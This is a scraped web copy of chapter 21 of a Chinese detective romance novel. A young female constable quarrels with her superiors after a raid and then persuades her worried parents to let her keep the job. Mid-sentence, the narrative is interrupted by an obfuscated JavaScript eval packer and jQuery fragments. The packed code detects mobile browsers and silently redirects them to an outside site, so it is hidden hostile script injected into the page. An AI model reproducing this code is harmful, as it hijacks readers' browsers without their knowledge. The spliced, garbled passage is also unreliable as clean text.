21. 又起争执
作品:《女青天(探案)》 “话说回来,你怎么知道这么多?”何皎皎后知后觉地反应过来,“还有,你是不是认识那个赵钦?”
贺晏清眸珠微转,还没来得及将瞎话编出来就被何皎皎识破了,她微眯起眼镜,指着他的鼻子道:“你敢骗我试试!”
贺晏清垮下肩,歪着头无奈道:“以前他父亲驻扎莅阳的时候见过几面,至于我威胁那小厮的话都是顺口胡诌的,在那里混的都是些聪明人,又岂会衡量不出其中利害?要是真的惹到了某位权贵,小命都不够他们赔的。”
何皎皎眼珠子滴溜溜地转了几圈,贺晏清提着心紧盯着她的神色,随着准备着应付她的追问,但何皎皎却并未继续问下去。
“这样啊。”何皎皎点了点头,从她的神情来看,应该是信了他的话,贺晏清不禁松了口气。
两人又合计着回去后要如何跟张全闻交差时,却见他和曹方山带着杨百川等捕快赶来了。原以为会挨一番骂,没想到张全闻见到他们后,说的第一句话竟然是关心她有没有受伤。
“大人,卑职未经大人允许擅自闯入花信风搜捕嫌犯,一切都是卑职的错,若上面怪罪下来,卑职愿一力承担。”何皎皎道。
“事情我都听说了。”张全闻道,“现在不是追究责任的时候,况且本官也没觉得你做错了什么。”
“将在外,君命有所不受,抓捕这类嫌犯本就图的一个措手不及,太过瞻前顾后者反而不适合咱们这行。”张全闻甚至反过来安慰起了何皎皎,“皎皎你无需害怕。”
何皎皎抬头看向张全闻,这才注意到年近古稀的他,脊背依旧笔挺,他满脸皱纹,花白的胡须随着他说话而上下蠕动,沧桑的双目中又暗藏着一丝坚毅,这一刻起,她对张全闻印象慢慢开始重塑,或许他根本就不是传闻中所说的自私、怯弱,爱财如命之人。
“多谢大人理解。”何皎皎道。
“何小姐,邓冲和丁朔他们呢?”曹方山又问。
何皎皎实是有些羞于启齿,“他们被困在花信风了。”
“哼!”张全闻听后愤怒地甩了袖子将手背到身后,“赵钦他欺人太甚,明知县衙办案竟然还敢公然扣押本官的人——”
“看来这些年,本官确实给他脸了,竟让他忘了在这青棠县究竟由谁做主!”
这话说得义愤填膺,何皎皎更是听得热血沸腾,看这样子,张全闻是要与赵钦硬碰硬了。
“大人说得对,开元之世,岂容这等猖狂之人肆意妄为,我们——”
没等何皎皎把话说完,又听张全闻愤慨地说道:“明日,本官定要将他所作所为奏疏圣上!”
何皎皎刚腾起来的气焰一下就熄火了,敢情张大人就只敢逞嘴上功夫而已。她悻悻地瞧了眼贺晏清,后者亦摸着鼻头憋着笑。
但无论如何,今晚得把邓冲和丁朔他们从花信风弄出来。
“何小姐倒是精明,竟然从那里逃出来了,就是不知邓冲他们要受何种折磨了。”杨百川不满地扫了何皎皎一眼,他就知道何皎皎与那些女子无甚区别,头发长见识短,行事一意孤行从不考虑后果,倒也是,有她爹这个青棠首富为保,无论他捅出了什么篓子都有人替她收拾残局。
“大人,请准许卑职带人前往花信风将他们接出来。”杨百川恳求道。
“是得将他们接出来,但这也不不能太兴师动众,闹大了就更不好收场了。”张全闻捊着胡须思索片刻,“这样吧,本官亲自去,本官好歹也是一县之长,永安伯怎么也得给本官几分薄面吧。”
“可就怕——”杨百川还欲再说却被曹方山打断了话。
“杨捕头,你就听大人的话吧,切莫再冲动行事了。这其间的浑水我们若掺和了进去,只怕会越来越浑。”
“是!”杨百川不敢多言,只得忍下了怨气,“是卑职思虑不周。”
“大人,祸是闯出来的,我与您同去,大不了用我将他们换出来便是。”何皎皎上前道。
“何小姐,你就别跟着添乱了!”杨百川站出来呵斥道。
“杨捕头,我知道您对我有成见,我也知道这次的行动确实有所冒失,但我也是真心想要补救,您身为我的上官,怎么能不分青红皂白随意指责我呢?”何皎拉也不甘示弱,当即便怼了回去。
“我哪敢指责你呐!”杨百川阴阳怪气地说道,“把你气哭了,再回去找何员外告我一状,我的饭碗怕是都要保不住。”
“好了老杨,说话注意点儿。”张全闻斥责道。
杨百川噤了声,横了何皎皎一眼后背过了身去。
张全闻见何皎皎的衣裳湿了大半,披在身后的头发也拧成了一股一股的,弱小的身躯在寒风中瑟瑟发抖,心下更是感慨万千,他又扫了眼贺晏清,后者也没好到哪里去,“这里交给我,你们先回去换身衣裳,别染上风寒了。”
何皎皎还欲再说,却发现贺晏清悄悄扯了扯她的袖子。
商议好后,一行人刚要分头行事时,却惊讶地发现邓冲和丁朔带着人朝这方走来了。
听完二人的回禀,张全闻会心一笑,“我说得对吧,永安伯还是要给本官几分面子的。”
众人看着他那自得的表情,都心照不宣地垂下头没有说话。
张全闻留下几句关心的话后便带着所有的人回府了,临走前,杨百川还不忘回头瞪了她一眼。
何皎皎做着鬼脸朝杨百川的背影拳打脚踢,发泄着心中的不满,贺晏清捂嘴轻笑一声,道:“走吧,我送你回去。”
何皎皎没领他的情,道了声“不必”后自顾朝着家的方向走了。
一会儿后,她惊讶地发现贺晏清还跟在身后,她回头看了他一眼,一个字也没说又继续朝前走着。
街头上还亮着的灯笼寥寥无几,投下的昏黄微光勉强照亮着二人前行的路,何皎皎紧了紧贺晏清借给她的外袍,偏头瞄了眼地上那道颀长的影子,心中莫名得了些许安慰。
她加快脚步朝着自家跑去,进门前的那一刻,她忍不住回头朝后面看去,只见贺晏清站在远处的墙角口,淡笑着朝她微微颔首后才转身离开。
何皎皎刚一进去,身后的大门便砰然合上了。她蹦跳着行走在院子中,惊讶地发现堂屋里灯火通明,父母
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15467254|168849||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
和兄长焦急在堂中来回踱步。
看到何皎皎后,卢元英差点儿失声哭了出来,她捂着嘴与夫君和儿子一同奔向何皎皎,几人围着她查来看去,未见受伤才稍稍放下心来。
“你个小混球,到底跑哪儿去了,知不知道我们快要担心死了!”卢元英心中又急又气,抓着女儿的肩膀不停摇晃着,可当她摸到女儿湿透了的衣裳时,又忍不住一阵心疼,“皎皎,你的衣服怎么全湿了?来人,快去给小姐打些水——”
“赶紧再去熬些姜汤驱寒。”何禄丰也手脚并用地催促着下人。
一群人簇拥着何皎皎回了房间,何皎皎这才发现二哥也回来了。
“听说那个欺辱良家女的采花贼又现身了,爹和娘迟迟不见你回来,心里急得不行,叫了人满城的寻也没找见你。”何钰问妹妹,“你是随官差一起去抓那贼人了吗?”
何皎皎被母亲用被子裹得跟个粽子似的坐在床一动也动不了,她的视线一一扫过家人的脸,到底是没敢告诉他们自己就是那个幕后策划者,要是他们知道自己以身犯险,怕是今晚都不得安宁了。
“我就是去凑人数的。”何皎皎撒了个小小的谎。
便是如此,也将何氏夫妇吓得不轻,何禄丰道:“这个张全闻也是,怎么能让你一个小女子涉入这等危险当中?最气的是,我明明已经让人去县衙讯问你的去向了,他还在跟有打官腔装糊涂,看来我得找他好好聊聊了。”
“还聊什么聊!”卢元英难得失态,当众大吼起来,“你明日过去直接替皎皎辞了那份差事。”
“娘!”何皎皎不干了,“此事与张大人无关,是我逼着张大人同意的,而且我很喜欢这份差事,你们要是擅自作主给我辞了,我明日便离家出走,天下之大,总有我施展抱负的地方!”
“你!”卢元英气急,但又只能耐着性子劝解道,“皎皎,有些事情本就是男人该干的事,你又何必执迷不悟呢。”
“娘,这世上所有的事从没有该和不该,只有想和不想,我不管别人怎么想,我只知道我自己是真的很喜欢这份差事,就算哪天因此受了难,我也绝不会后悔。”何皎皎费劲的从被子里拔出手,紧紧和母亲的手相握,“希望爹和娘能够支持女儿的这份心。”
“皎皎......”卢元英看着女儿那双透着坚毅目光的眼睛,与丈夫双双叹着气,但最后到底还是妥协了。
“娘之前不是还夸女儿有福气,将来定会大有所为么,怎么才过了几日,口风就变了?”何皎皎捏着母亲的食指摇啊摇,撒娇道,“阿娘之前说的,莫不是在哄女儿开心吧。”
“真是拿你没办法。”卢元英低头擦了眼角的泪痕,破涕为笑,“娘可以答应你继续待在县衙,但你得答应娘,以后切不可让自己陷入危险之中。”
“女儿答应娘就是了。”何皎皎伸出尾指与母亲拉了勾,笑嘻嘻地靠在了母亲怀里。
她看着满屋子的人,打了个哈欠道:“爹,娘,女儿有些困了。”
卢元英这才放开了何皎皎,再三叮嘱了几番后才随夫君和儿子们一同出了女儿的房间。